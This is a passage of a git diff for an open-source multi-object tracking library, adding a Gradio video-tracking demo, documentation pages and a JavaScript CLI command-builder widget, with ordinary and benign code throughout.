0.2, + 30, + 0.3, + 3, + 0.1, + 0.6, + ["person"], + "", + True, + True, + False, + False, + True, + False, + ], + [ + "https://storage.googleapis.com/com-roboflow-marketing/supervision/video-examples/bikes-1280x720-2.mp4", + "rfdetr-seg-small", + "sort", + 0.2, + 30, + 0.3, + 3, + 0.3, + 0.6, + [], + "", + True, + True, + False, + False, + True, + True, + ], + [ + "https://storage.googleapis.com/com-roboflow-marketing/supervision/video-examples/apples-1280x720-2.mp4", + "rfdetr-nano", + "sort", + 0.2, + 30, + 0.3, + 3, + 0.1, + 0.6, + [], + "", + True, + True, + True, + False, + True, + False, + ], + [ + "https://storage.googleapis.com/com-roboflow-marketing/supervision/video-examples/jets-1280x720-1.mp4", + "rfdetr-small", + "bytetrack", + 0.2, + 30, + 0.3, + 3, + 0.1, + 0.6, + [], + "", + True, + True, + False, + False, + False, + False, + ], + [ + "https://storage.googleapis.com/com-roboflow-marketing/supervision/video-examples/jets-1280x720-2.mp4", + "rfdetr-seg-small", + "bytetrack", + 0.2, + 30, + 0.3, + 3, + 0.1, + 0.6, + [], + "", + True, + True, + False, + False, + True, + True, + ], + [ + "https://storage.googleapis.com/com-roboflow-marketing/supervision/video-examples/jets-1280x720-2.mp4", + "rfdetr-seg-small", + "bytetrack", + 0.2, + 30, + 0.3, + 3, + 0.1, + 0.6, + [], + "1", + True, + True, + False, + False, + True, + True, + ], + [ + "https://storage.googleapis.com/com-roboflow-marketing/supervision/video-examples/suitcases-1280x720-4.mp4", + "rfdetr-small", + "sort", + 0.2, + 30, + 0.3, + 3, + 0.1, + 0.6, + [], + "", + True, + True, + True, + False, + True, + False, + ], + [ + "https://storage.googleapis.com/com-roboflow-marketing/supervision/video-examples/vehicles-1280x720.mp4", + "rfdetr-small", + "bytetrack", + 0.2, + 30, + 0.3, + 3, + 0.1, + 0.6, + [], + "", + True, + True, + True, + False, + True, + False, + ], +] + + +def _get_video_info(path: str) -> tuple[float, int]: + """Return video duration in seconds and frame count using OpenCV.""" + cap = cv2.VideoCapture(path) + if not cap.isOpened(): + raise gr.Error("Could not open the uploaded video.") + fps = cap.get(cv2.CAP_PROP_FPS) + frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) + cap.release() + if fps <= 0: + raise gr.Error("Could not determine video frame rate.") + return frame_count / fps, frame_count + + +def _resolve_class_filter( + classes: list[str] | None, + class_names: list[str], +) -> list[int] | None: + """Resolve class names to integer IDs.""" + if not classes: + return None + + name_to_id = {name: i for i, name in enumerate(class_names)} + class_filter: list[int] = [] + for name in classes: + if name in name_to_id: + class_filter.append(name_to_id[name]) + return class_filter if class_filter else None + + +def _resolve_track_id_filter(track_ids_arg: str | None) -> list[int] | None: + """Resolve a comma-separated string of track IDs to a list of integers. + + Args: + track_ids_arg: Comma-separated string (e.g. `"1,3,5"`). `None` or + empty string means no filter. + + Returns: + List of integer track IDs, or `None` when no valid filter remains. + """ + if not track_ids_arg: + return None + + track_ids: list[int] = [] + for token in track_ids_arg.split(","): + token = token.strip() + try: + track_ids.append(int(token)) + except ValueError: + print( + f"Warning: '{token}' is not a valid track ID, skipping.", + file=sys.stderr, + ) + return track_ids if track_ids else None + + +def track( + video_path: str, + model_id: str, + tracker_type: str, + confidence: float, + lost_track_buffer: int, + track_activation_threshold: float, + minimum_consecutive_frames: int, + minimum_iou_threshold: float, + high_conf_det_threshold: float, + classes: list[str] | None = None, + track_ids: str = "", + show_boxes: bool = True, + show_ids: bool = True, + show_labels: bool = False, + show_confidence: bool = False, + show_trajectories: bool = False, + show_masks: bool = False, + progress=gr.Progress(track_tqdm=True), +) -> str: + """Run tracking on the uploaded video and return the output path.""" + if video_path is None: + raise gr.Error("Please upload a video.") + + duration, total_frames = _get_video_info(video_path) + if duration > MAX_DURATION_SECONDS: + raise gr.Error( + f"Video is {duration:.1f}s long. " + f"Maximum allowed duration is {MAX_DURATION_SECONDS}s. " + f"Please use the trim tool in the Input Video player to shorten it." + ) + + detection_model = LOADED_MODELS[model_id] + class_names = getattr(detection_model, "class_names", []) + + class_filter = _resolve_class_filter(classes, class_names) + + track_id_filter = _resolve_track_id_filter(track_ids) + + tracker: ByteTrackTracker | SORTTracker + if tracker_type == "bytetrack": + tracker = ByteTrackTracker( + lost_track_buffer=lost_track_buffer, + track_activation_threshold=track_activation_threshold, + minimum_consecutive_frames=minimum_consecutive_frames, + minimum_iou_threshold=minimum_iou_threshold, + high_conf_det_threshold=high_conf_det_threshold, + ) + else: + tracker = SORTTracker( + lost_track_buffer=lost_track_buffer, + track_activation_threshold=track_activation_threshold, + minimum_consecutive_frames=minimum_consecutive_frames, + minimum_iou_threshold=minimum_iou_threshold, + ) + tracker.reset() + + annotators, label_annotator = _init_annotators( + show_boxes=show_boxes, + show_masks=show_masks, + show_labels=show_labels, + show_ids=show_ids, + show_confidence=show_confidence, + ) + trace_annotator = None + if show_trajectories: + trace_annotator = sv.TraceAnnotator( + color=COLOR_PALETTE, + color_lookup=sv.ColorLookup.TRACK, + ) + + tmp_dir = tempfile.mkdtemp() + output_path = str(Path(tmp_dir) / "output.mp4") + + video_info = sv.VideoInfo.from_video_path(video_path) + + frame_gen = frames_from_source(video_path) + + with sv.VideoSink(output_path, video_info=video_info) as sink: + for frame_idx, frame in tqdm( + frame_gen, total=total_frames, desc="Processing video..." + ): + predictions = detection_model(frame) + if predictions: + detections = predictions[0].to_supervision() + + if len(detections) > 0 and detections.confidence is not None: + mask = detections.confidence >= confidence + detections = detections[mask] + + if class_filter is not None and len(detections) > 0: + mask = np.isin(detections.class_id, class_filter) + detections = detections[mask] + else: + detections = sv.Detections.empty() + + tracked = tracker.update(detections) + + if track_id_filter is not None and len(tracked) > 0: + if tracked.tracker_id is not None: + mask = np.isin(tracked.tracker_id, track_id_filter) + tracked = tracked[mask] + + annotated = frame.copy() + if trace_annotator is not None: + annotated = trace_annotator.annotate(annotated, tracked) + for annotator in annotators: + annotated = annotator.annotate(annotated, tracked) + if label_annotator is not None: + labeled = tracked[tracked.tracker_id != -1] + labels = _format_labels( + labeled, + class_names, + show_ids=show_ids, + show_labels=show_labels, + show_confidence=show_confidence, + ) + annotated = label_annotator.annotate(annotated, labeled, labels=labels) + + sink.write_frame(annotated) + + return output_path + + +with gr.Blocks(title="Trackers Playground 🔥") as demo: + gr.Markdown( + "# Trackers Playground 🔥\n\n" + "Upload a video, detect objects with " + "[RF-DETR](https://github.com/roboflow-ai/rf-detr) and track them with " + "[Trackers](https://github.com/roboflow/trackers). This demo uses models " + "pretrained on 80 COCO classes, but Trackers works with any detection model." + ) + + with gr.Row(): + input_video = gr.Video(label="Input Video") + output_video = gr.Video(label="Tracked Video") + + track_btn = gr.Button(value="Track", variant="primary") + + with gr.Row(): + model_dropdown = gr.Dropdown( + choices=MODELS, + value="rfdetr-small", + label="Detection Model", + ) + tracker_dropdown = gr.Dropdown( + choices=TRACKERS, + value="bytetrack", + label="Tracker", + ) + + with gr.Accordion("Configuration", open=False): + with gr.Row(): + with gr.Column(): + gr.Markdown("### Model") + confidence_slider = gr.Slider( + minimum=0.0, + maximum=1.0, + value=0.2, + step=0.05, + label="Detection Confidence", + info="Minimum score for a detection to be kept.", + ) + class_filter = gr.CheckboxGroup( + choices=COCO_CLASSES, + value=[], + label="Filter Classes", + info="Only track selected classes. None selected means all.", + ) + track_id_filter = gr.Textbox( + value="", + label="Filter IDs", + info=( + "Only display tracks with specific track IDs " + "(comma-separated, e.g. 1,3,5). " + "Leave empty for all." + ), + placeholder="e.g. 1,3,5", + ) + + with gr.Column(): + gr.Markdown("### Tracker") + lost_track_buffer_slider = gr.Slider( + minimum=1, + maximum=120, + value=30, + step=1, + label="Lost Track Buffer", + info="Frames to keep a lost track before removing it.", + ) + track_activation_slider = gr.Slider( + minimum=0.0, + maximum=1.0, + value=0.3, + step=0.05, + label="Track Activation Threshold", + info="Minimum score for a track to be activated.", + ) + min_consecutive_slider = gr.Slider( + minimum=1, + maximum=10, + value=2, + step=1, + label="Minimum Consecutive Frames", + info="Detections needed before a track is confirmed.", + ) + min_iou_slider = gr.Slider( + minimum=0.0, + maximum=1.0, + value=0.1, + step=0.05, + label="Minimum IoU Threshold", + info="Overlap required to match a detection to a track.", + ) + high_conf_slider = gr.Slider( + minimum=0.0, + maximum=1.0, + value=0.6, + step=0.05, + label="High Confidence Detection Threshold", + info="Detections above this are matched first (ByteTrack only).", + ) + + with gr.Column(): + gr.Markdown("### Visualization") + show_boxes_checkbox = gr.Checkbox( + value=True, + label="Show Boxes", + info="Draw bounding boxes around detections.", + ) + show_ids_checkbox = gr.Checkbox( + value=True, + label="Show IDs", + info="Display track ID for each object.", + ) + show_labels_checkbox = gr.Checkbox( + value=False, + label="Show Labels", + info="Display class name for each detection.", + ) + show_confidence_checkbox = gr.Checkbox( + value=False, + label="Show Confidence", + info="Display detection confidence score.", + ) + show_trajectories_checkbox = gr.Checkbox( + value=False, + label="Show Trajectories", + info="Draw motion path for each tracked object.", + ) + show_masks_checkbox = gr.Checkbox( + value=False, + label="Show Masks", + info="Draw segmentation masks (seg models only).", + ) + + gr.Examples( + examples=VIDEO_EXAMPLES, + fn=track, + cache_examples=True, + inputs=[ + input_video, + model_dropdown, + tracker_dropdown, + confidence_slider, + lost_track_buffer_slider, + track_activation_slider, + min_consecutive_slider, + min_iou_slider, + high_conf_slider, + class_filter, + track_id_filter, + show_boxes_checkbox, + show_ids_checkbox, + show_labels_checkbox, + show_confidence_checkbox, + show_trajectories_checkbox, + show_masks_checkbox, + ], + outputs=output_video, + ) + + track_btn.click( + fn=track, + inputs=[ + input_video, + model_dropdown, + tracker_dropdown, + confidence_slider, + lost_track_buffer_slider, + track_activation_slider, + min_consecutive_slider, + min_iou_slider, + high_conf_slider, + class_filter, + track_id_filter, + show_boxes_checkbox, + show_ids_checkbox, + show_labels_checkbox, + show_confidence_checkbox, + show_trajectories_checkbox, + show_masks_checkbox, + ], + outputs=output_video, + ) + +if __name__ == "__main__": + demo.launch() diff --git a/demo/requirements.txt b/demo/requirements.txt new file mode 100644 index 0000000..d85421c --- /dev/null +++ b/demo/requirements.txt @@ -0,0 +1,3 @@ +gradio>=6.3.0,<6.4.0 +inference-models==0.18.6rc14 +trackers==2.2.0rc1 diff --git a/docs/api/evals.md b/docs/api/evals.md new file mode 100644 index 0000000..d00481a --- /dev/null +++ b/docs/api/evals.md @@ -0,0 +1,15 @@ +# Evals API + +::: trackers.eval.evaluate.evaluate_mot_sequence + +::: trackers.eval.evaluate.evaluate_mot_sequences + +::: trackers.eval.results.SequenceResult + +::: trackers.eval.results.BenchmarkResult + +::: trackers.eval.results.CLEARMetrics + +::: trackers.eval.results.HOTAMetrics + +::: trackers.eval.results.IdentityMetrics diff --git a/docs/api/io.md b/docs/api/io.md new file mode 100644 index 0000000..262c092 --- /dev/null +++ b/docs/api/io.md @@ -0,0 +1,3 @@ +# I/O API + +::: trackers.io.video.frames_from_source diff --git a/docs/api/motion.md b/docs/api/motion.md new file mode 100644 index 0000000..00f3d94 --- /dev/null +++ b/docs/api/motion.md @@ -0,0 +1,21 @@ +# Motion API + +## MotionEstimator + +::: trackers.motion.estimator.MotionEstimator + +## MotionAwareTraceAnnotator + +::: trackers.annotators.trace.MotionAwareTraceAnnotator + +## CoordinatesTransformation + +::: trackers.motion.transformation.CoordinatesTransformation + +## IdentityTransformation + +::: trackers.motion.transformation.IdentityTransformation + +## HomographyTransformation + +::: trackers.motion.transformation.HomographyTransformation diff --git a/docs/api/trackers.md b/docs/api/trackers.md new file mode 100644 index 0000000..10a3305 --- /dev/null +++ b/docs/api/trackers.md @@ -0,0 +1,19 @@ +# Trackers API + +## SORT + +::: trackers.core.sort.tracker.SORTTracker + +## ByteTrack + +::: trackers.core.bytetrack.tracker.ByteTrackTracker + +## OC-SORT + +::: trackers.core.ocsort.tracker.OCSORTTracker + +## Utilities + +::: trackers.utils.converters.xyxy_to_xcycsr + +::: trackers.utils.converters.xcycsr_to_xyxy diff --git a/docs/assets/logo-trackers-black.svg b/docs/assets/logo-trackers-black.svg new file mode 100644 index 0000000..ef1acef --- /dev/null +++ b/docs/assets/logo-trackers-black.svg @@ -0,0 +1,3 @@ + + + diff --git a/docs/assets/logo-trackers-violet.svg b/docs/assets/logo-trackers-violet.svg new file mode 100644 index 0000000..e2dcbc0 --- /dev/null +++ b/docs/assets/logo-trackers-violet.svg @@ -0,0 +1,3 @@ + + + diff --git a/docs/assets/logo-trackers-white.svg b/docs/assets/logo-trackers-white.svg new file mode 100644 index 0000000..56b0d59 --- /dev/null +++ b/docs/assets/logo-trackers-white.svg @@ -0,0 +1,3 @@ + + + diff --git a/docs/hooks/doctest_filter.py b/docs/hooks/doctest_filter.py new file mode 100644 index 0000000..b47996e --- /dev/null +++ b/docs/hooks/doctest_filter.py @@ -0,0 +1,36 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +""" +MkDocs hook to strip doctest directives from rendered documentation. + +Removes `# doctest: +SKIP`, `# doctest: +ELLIPSIS`, and similar directives +from code blocks so they don't appear in the rendered docs. +""" + +import re + + +def on_page_content(html: str, **kwargs) -> str: + """ + Process page HTML content to remove doctest directives. + + This hook runs after markdown is converted to HTML, so we need to + handle HTML-encoded content within blocks. + """ + # Pattern to match doctest directives in code + # Handles both plain text and HTML-encoded versions + patterns = [ + # Plain text version: # doctest: +DIRECTIVE + r'\s*#\s*doctest:\s*\+\w+', + # HTML-encoded version: # doctest: +DIRECTIVE + r'\s*#\s*doctest:\s*\+\w+', + ] + + for pattern in patterns: + html = re.sub(pattern, '', html) + + return html diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 0000000..60ff010 --- /dev/null +++ b/docs/index.md @@ -0,0 +1,141 @@ +--- +comments: true +--- + +
+ +Trackers Logo + +
+ +`trackers` gives you clean, modular re-implementations of leading multi-object tracking algorithms released under the permissive Apache 2.0 license. You combine them with any detection model you already use. + +## Install + +You can install and use `trackers` in a [**Python>=3.10**](https://www.python.org/) environment. For detailed installation instructions, including installing from source and setting up a local development environment, check out our [install](learn/install.md) page. + +!!! example "Installation" + + [![version](https://badge.fury.io/py/trackers.svg)](https://badge.fury.io/py/trackers) + [![downloads](https://img.shields.io/pypi/dm/trackers)](https://pypistats.org/packages/trackers) + [![license](https://img.shields.io/badge/license-Apache%202.0-blue)](https://github.com/roboflow/trackers/blob/release/stable/LICENSE.md) + [![python-version](https://img.shields.io/pypi/pyversions/trackers)](https://badge.fury.io/py/trackers) + + === "pip" + + ```bash + pip install trackers + ``` + + === "uv" + + ```bash + uv pip install trackers + ``` + +## Tutorials + +
+ +- **How to Track Objects with SORT** + + --- + + [![](https://storage.googleapis.com/com-roboflow-marketing/trackers/assets/sort-sample.png)](https://colab.research.google.com/github/roboflow-ai/notebooks/blob/main/notebooks/how-to-track-objects-with-sort-tracker.ipynb) + + End-to-end example showing how to run RF-DETR detection with the SORT tracker. + + [:simple-googlecolab: Run Google Colab](https://colab.research.google.com/github/roboflow-ai/notebooks/blob/main/notebooks/how-to-track-objects-with-sort-tracker.ipynb) + +- **How to Track Objects with ByteTrack** + + --- + + [![](https://storage.googleapis.com/com-roboflow-marketing/trackers/assets/bytetrack-sample.png)](https://colab.research.google.com/github/roboflow-ai/notebooks/blob/main/notebooks/how-to-track-objects-with-bytetrack-tracker.ipynb) + + End-to-end example showing how to run RF-DETR detection with the ByteTrack tracker. + + [:simple-googlecolab: Run Google Colab](https://colab.research.google.com/github/roboflow-ai/notebooks/blob/main/notebooks/how-to-track-objects-with-bytetrack-tracker.ipynb) + +
+ +## Tracking Algorithms + +Clean, modular implementations of leading trackers. For comparisons, see the [tracker comparison](trackers/comparison.md) page. + +| Algorithm | MOT17 HOTA | SportsMOT HOTA | SoccerNet HOTA | +| :-------: | :--------: | :------------: | :------------: | +| SORT | 58.4 | 70.9 | 81.6 | +| ByteTrack | 60.1 | **73.0** | **84.0** | +| OC-SORT | **61.9** | 71.5 | 78.6 | +| BoT-SORT | — | — | — | +| McByte | — | — | — | + +## Integration + +With a modular design, `trackers` lets you combine object detectors from different libraries with the tracker of your choice. See the [Track guide](learn/track.md) for CLI usage and more options. These examples use `opencv-python` for decoding and display. + +=== "RF-DETR" + + ```python + import cv2 + from rfdetr import RFDETRNano + from trackers import ByteTrackTracker + + model = RFDETRNano() + tracker = ByteTrackTracker() + + cap = cv2.VideoCapture("source.mp4") + while True: + ret, frame = cap.read() + if not ret: + break + + frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + ``` + +=== "Inference" + + ```python + import cv2 + import supervision as sv + from inference import get_model + from trackers import ByteTrackTracker + + model = get_model(model_id="rfdetr-nano") + tracker = ByteTrackTracker() + + cap = cv2.VideoCapture("source.mp4") + while True: + ret, frame = cap.read() + if not ret: + break + + result = model.infer(frame)[0] + detections = sv.Detections.from_inference(result) + detections = tracker.update(detections) + ``` + +=== "Ultralytics" + + ```python + import cv2 + import supervision as sv + from ultralytics import YOLO + from trackers import ByteTrackTracker + + model = YOLO("yolo11n.pt") + tracker = ByteTrackTracker() + + cap = cv2.VideoCapture("source.mp4") + while True: + ret, frame = cap.read() + if not ret: + break + + result = model(frame)[0] + detections = sv.Detections.from_ultralytics(result) + detections = tracker.update(detections) + ``` diff --git a/docs/javascripts/cli_builder_framework.js b/docs/javascripts/cli_builder_framework.js new file mode 100644 index 0000000..3cddd07 --- /dev/null +++ b/docs/javascripts/cli_builder_framework.js @@ -0,0 +1,696 @@ +/** + * Reusable terminal-style CLI command builder framework. + * Use this as a base and provide command-specific configuration. + */ +(function registerTrackersCLIBuilderFramework(global) { + "use strict"; + + if (global.TrackersCLIBuilderFramework) { + return; + } + + class TerminalCommandBuilder { + constructor(options) { + this.root = options.root; + this.defaults = { ...(options.defaults || {}) }; + this.numericFields = { ...(options.numericFields || {}) }; + this.state = { ...(options.initialState || {}) }; + this.generateCommand = options.generateCommand || (() => ""); + this.getValidationErrors = options.getValidationErrors || (() => []); + this.renderBody = options.renderBody || (() => {}); + this.inputSanitizers = options.inputSanitizers || {}; + this.onInputChange = options.onInputChange || null; + this.onCheckboxChange = options.onCheckboxChange || null; + this.onSelectorChange = options.onSelectorChange || null; + this.copyButtonFeedbackMs = options.copyButtonFeedbackMs || 1200; + + this.ids = { + command: "cb-command", + errors: "cb-errors", + ...(options.ids || {}), + }; + this.containerClassName = options.containerClassName || "cb-container"; + + this.commandEl = null; + this.errorsEl = null; + + this.numericHoldTimeout = null; + this.numericHoldInterval = null; + this.activeNumericHoldButton = null; + this.eventsBound = false; + + this.boundHandlePointerDown = this.handlePointerDown.bind(this); + this.boundHandleClick = this.handleClick.bind(this); + this.boundHandleChange = this.handleChange.bind(this); + this.boundHandleInput = this.handleInput.bind(this); + this.boundClearNumericHold = this.clearNumericHold.bind(this); + this.boundVisibilityChange = this.handleVisibilityChange.bind(this); + this.boundApplyNativeMetrics = this.applyNativeMetrics.bind(this); + } + + init() { + if (!this.root) return false; + this.render(); + this.bindEvents(); + this.syncNativeMetricsWithRetries(); + window.addEventListener("resize", this.boundApplyNativeMetrics); + return true; + } + + destroy() { + this.unbindEvents(); + window.removeEventListener("resize", this.boundApplyNativeMetrics); + this.clearNumericHold(); + this.root = null; + this.commandEl = null; + this.errorsEl = null; + } + + render() { + if (!this.root) return; + + this.root.innerHTML = ""; + this.root.className = this.containerClassName; + + const codeBlock = document.createElement("div"); + codeBlock.className = "cb-code-block language-text highlight"; + + const pre = document.createElement("pre"); + const code = document.createElement("code"); + code.className = "cb-code"; + + this.renderBody(code, this.getRenderApi()); + + const errors = document.createElement("div"); + errors.id = this.ids.errors; + errors.className = "cb-errors"; + code.appendChild(errors); + + pre.appendChild(code); + codeBlock.appendChild(pre); + this.root.appendChild(codeBlock); + + const output = this.createCommandOutputBlock(); + this.root.appendChild(output.block); + + this.commandEl = output.commandCode; + this.errorsEl = errors; + + this.refresh(); + } + + getRenderApi() { + return { + ids: this.ids, + defaults: this.defaults, + numericFields: this.numericFields, + state: this.state, + root: this.root, + createHeader: this.createHeader.bind(this), + createSelector: this.createSelector.bind(this), + createCheckbox: this.createCheckbox.bind(this), + createTextInputRow: this.createTextInputRow.bind(this), + createNumericInputRow: this.createNumericInputRow.bind(this), + createSelectorRow: this.createSelectorRow.bind(this), + }; + } + + createCommandOutputBlock() { + const commandBlock = document.createElement("div"); + commandBlock.className = "language-text highlight cb-output"; + + const commandPre = document.createElement("pre"); + commandPre.appendChild(document.createElement("span")); + + const commandCode = document.createElement("code"); + commandCode.id = this.ids.command; + commandPre.appendChild(commandCode); + commandBlock.appendChild(commandPre); + + const commandNav = document.createElement("nav"); + commandNav.className = "md-code__nav"; + + const copyButton = document.createElement("button"); + copyButton.type = "button"; + copyButton.className = "md-code__button"; + copyButton.title = "Copy to clipboard"; + copyButton.setAttribute("aria-label", "Copy to clipboard"); + copyButton.setAttribute("data-md-type", "copy"); + copyButton.setAttribute("data-clipboard-target", `#${this.ids.command}`); + copyButton.addEventListener("click", async () => { + // Fallback clipboard handling for dynamically-rendered blocks. + const commandText = (this.commandEl?.textContent || "").replace(/\\\n\s+/g, " "); + if (!commandText) return; + try { + await navigator.clipboard.writeText(commandText); + copyButton.classList.add("md-code__button--active"); + window.setTimeout(() => { + copyButton.classList.remove("md-code__button--active"); + }, this.copyButtonFeedbackMs); + } catch (_error) { + // Native Material copy handler remains available when present. + } + }); + + commandNav.appendChild(copyButton); + commandBlock.appendChild(commandNav); + + return { block: commandBlock, commandCode }; + } + + refresh() { + if (this.commandEl) { + this.commandEl.textContent = this.generateCommand(this.state, this); + } + + if (!this.errorsEl) return; + + const errors = this.getValidationErrors(this.state, this); + if (errors.length > 0) { + this.errorsEl.innerHTML = errors + .map((errorText) => `# ${errorText}`) + .join("\n"); + this.errorsEl.style.display = "block"; + } else { + this.errorsEl.style.display = "none"; + } + } + + bindEvents() { + if (this.eventsBound || !this.root) return; + + this.root.addEventListener("pointerdown", this.boundHandlePointerDown); + this.root.addEventListener("click", this.boundHandleClick); + this.root.addEventListener("change", this.boundHandleChange); + this.root.addEventListener("input", this.boundHandleInput); + + document.addEventListener("pointerup", this.boundClearNumericHold); + document.addEventListener("pointercancel", this.boundClearNumericHold); + window.addEventListener("blur", this.boundClearNumericHold); + document.addEventListener("visibilitychange", this.boundVisibilityChange); + + this.eventsBound = true; + } + + unbindEvents() { + if (!this.eventsBound || !this.root) return; + + this.root.removeEventListener("pointerdown", this.boundHandlePointerDown); + this.root.removeEventListener("click", this.boundHandleClick); + this.root.removeEventListener("change", this.boundHandleChange); + this.root.removeEventListener("input", this.boundHandleInput); + + document.removeEventListener("pointerup", this.boundClearNumericHold); + document.removeEventListener("pointercancel", this.boundClearNumericHold); + window.removeEventListener("blur", this.boundClearNumericHold); + document.removeEventListener("visibilitychange", this.boundVisibilityChange); + + this.eventsBound = false; + } + + handleVisibilityChange() { + if (document.hidden) { + this.clearNumericHold(); + } + } + + handlePointerDown(event) { + const numericButton = event.target.closest(".cb-num-btn"); + if (!numericButton) return; + if (event.pointerType === "mouse" && event.button !== 0) return; + + event.preventDefault(); + this.startNumericHold(numericButton); + } + + handleClick(event) { + const selectorButton = event.target.closest(".cb-selector"); + if (selectorButton) { + this.handleSelectorSelection(selectorButton); + return; + } + + const numericButton = event.target.closest(".cb-num-btn"); + if (!numericButton) return; + + // Pointer interaction is handled by pointerdown to support hold-repeat. + // Keep click handling for keyboard activation. + if (event.detail !== 0) return; + this.stepNumericField(numericButton.dataset.key, numericButton.dataset.action); + } + + handleSelectorSelection(selectorButton) { + const group = selectorButton.dataset.group; + const value = selectorButton.dataset.value; + if (!group) return; + + this.state[group] = value; + this.updateSelectorGroup(group, value); + + if (typeof this.onSelectorChange === "function") { + this.onSelectorChange({ + group, + value, + button: selectorButton, + builder: this, + state: this.state, + }); + } + + this.refresh(); + } + + updateSelectorGroup(group, selectedValue) { + this.root.querySelectorAll(`.cb-selector[data-group="${group}"]`).forEach((button) => { + const isActive = button.dataset.value === selectedValue; + button.classList.toggle("cb-selector--active", isActive); + }); + } + + handleChange(event) { + const input = event.target; + const key = input?.dataset?.key; + if (!key) return; + + if (input.type === "checkbox") { + this.processCheckboxInput(input); + return; + } + + this.processValueInput(input, { isCommit: true }); + } + + handleInput(event) { + const input = event.target; + const key = input?.dataset?.key; + if (!key || input.type === "checkbox") return; + + this.processValueInput(input, { isCommit: false }); + } + + processCheckboxInput(input) { + const key = input.dataset.key; + const checked = input.checked; + + this.state[key] = checked; + + const checkbox = input.closest(".cb-checkbox"); + if (checkbox) { + this.updateCheckboxVisual(checkbox, checked); + } + + this.toggleCollapsibleForKey(key, checked); + + if (typeof this.onCheckboxChange === "function") { + this.onCheckboxChange({ key, checked, input, builder: this, state: this.state }); + } + + this.refresh(); + } + + processValueInput(input, options) { + const key = input.dataset.key; + const isCommit = Boolean(options?.isCommit); + + const sanitizedValue = this.sanitizeInputValue(key, input.value, input, isCommit); + if (sanitizedValue !== input.value) { + input.value = sanitizedValue; + } + + this.state[key] = input.value; + + if (input.classList.contains("cb-num-input")) { + this.updateNumericModifiedState(input); + } + + if (typeof this.onInputChange === "function") { + this.onInputChange({ + key, + value: input.value, + input, + isCommit, + builder: this, + state: this.state, + }); + } + + this.refresh(); + } + + sanitizeInputValue(key, value, input, isCommit) { + const sanitizer = this.inputSanitizers[key]; + if (typeof sanitizer !== "function") { + return value; + } + return sanitizer(value, { key, input, isCommit, state: this.state, builder: this }); + } + + updateCheckboxVisual(checkbox, checked) { + const marker = checkbox.querySelector(".cb-check-marker"); + if (marker) { + marker.textContent = checked ? "[x]" : "[ ]"; + } + checkbox.classList.toggle("cb-checkbox--active", checked); + } + + toggleCollapsibleForKey(key, visible) { + const collapsible = this.root.querySelector(`[data-collapsible-for="${key}"]`); + if (collapsible) { + collapsible.style.display = visible ? "block" : "none"; + } + } + + setCheckboxField(key, checked, options = {}) { + const shouldRefresh = options.refresh !== false; + this.state[key] = checked; + + const input = this.root.querySelector(`input[type="checkbox"][data-key="${key}"]`); + if (input) { + input.checked = checked; + const checkbox = input.closest(".cb-checkbox"); + if (checkbox) { + this.updateCheckboxVisual(checkbox, checked); + } + } + + this.toggleCollapsibleForKey(key, checked); + + if (shouldRefresh) { + this.refresh(); + } + } + + setElementVisibleById(id, visible) { + const target = this.root.querySelector(`#${id}`); + if (target) { + target.style.display = visible ? "block" : "none"; + } + } + + getNumericInputForKey(key) { + return this.root.querySelector(`input[data-key="${key}"].cb-num-input`); + } + + updateNumericModifiedState(input) { + const isModified = input.value !== input.dataset.default; + input.classList.toggle("cb-modified", isModified); + } + + stepNumericField(key, action) { + const input = this.getNumericInputForKey(key); + if (!input) return; + + const step = parseFloat(input.dataset.step); + const min = parseFloat(input.dataset.min); + const max = parseFloat(input.dataset.max); + const decimals = parseInt(input.dataset.decimals, 10); + + let value = parseFloat(input.value); + if (Number.isNaN(value)) { + value = parseFloat(input.dataset.default); + } + if (Number.isNaN(value)) { + value = min; + } + + if (action === "increment") { + value = Math.min(max, value + step); + } else { + value = Math.max(min, value - step); + } + + const nextValue = decimals === 0 ? String(Math.round(value)) : value.toFixed(decimals); + + this.state[key] = nextValue; + input.value = nextValue; + this.updateNumericModifiedState(input); + + this.refresh(); + } + + startNumericHold(button) { + this.clearNumericHold(); + + this.activeNumericHoldButton = button; + this.stepNumericField(button.dataset.key, button.dataset.action); + + this.numericHoldTimeout = window.setTimeout(() => { + this.numericHoldInterval = window.setInterval(() => { + if (!this.activeNumericHoldButton || !this.root.contains(this.activeNumericHoldButton)) { + this.clearNumericHold(); + return; + } + + this.stepNumericField( + this.activeNumericHoldButton.dataset.key, + this.activeNumericHoldButton.dataset.action + ); + }, 90); + }, 350); + } + + clearNumericHold() { + if (this.numericHoldTimeout !== null) { + window.clearTimeout(this.numericHoldTimeout); + this.numericHoldTimeout = null; + } + if (this.numericHoldInterval !== null) { + window.clearInterval(this.numericHoldInterval); + this.numericHoldInterval = null; + } + this.activeNumericHoldButton = null; + } + + // Sync sizing metrics from a native MkDocs code block/button. + applyNativeMetrics() { + if (!this.root) return; + + const refCode = + document.querySelector(".tabbed-block .language-text.highlight pre code") || + document.querySelector(".language-text.highlight pre code"); + if (refCode) { + const codeStyles = window.getComputedStyle(refCode); + this.root.style.setProperty("--cb-native-code-font-size", codeStyles.fontSize); + this.root.style.setProperty("--cb-native-code-line-height", codeStyles.lineHeight); + this.root.style.setProperty("--cb-native-code-font-family", codeStyles.fontFamily); + } + + const refButton = + document.querySelector(".tabbed-block .md-code__button[data-md-type='copy']") || + document.querySelector(".md-code__button[data-md-type='copy']"); + if (refButton) { + const buttonStyles = window.getComputedStyle(refButton); + this.root.style.setProperty("--cb-native-copy-button-width", buttonStyles.width); + this.root.style.setProperty("--cb-native-copy-button-height", buttonStyles.height); + this.root.style.setProperty("--cb-native-copy-button-font-size", buttonStyles.fontSize); + } + + const refNav = + document.querySelector(".tabbed-block .md-code__nav") || document.querySelector(".md-code__nav"); + if (refNav) { + const navStyles = window.getComputedStyle(refNav); + this.root.style.setProperty("--cb-native-copy-nav-padding", navStyles.padding); + this.root.style.setProperty("--cb-native-copy-nav-right", navStyles.right); + this.root.style.setProperty("--cb-native-copy-nav-top", navStyles.top); + this.root.style.setProperty("--cb-native-copy-nav-border-radius", navStyles.borderRadius); + } + } + + syncNativeMetricsWithRetries() { + let attempts = 0; + const maxAttempts = 30; + + const tick = () => { + this.applyNativeMetrics(); + attempts += 1; + if (attempts < maxAttempts) { + window.setTimeout(tick, 100); + } + }; + + tick(); + } + + 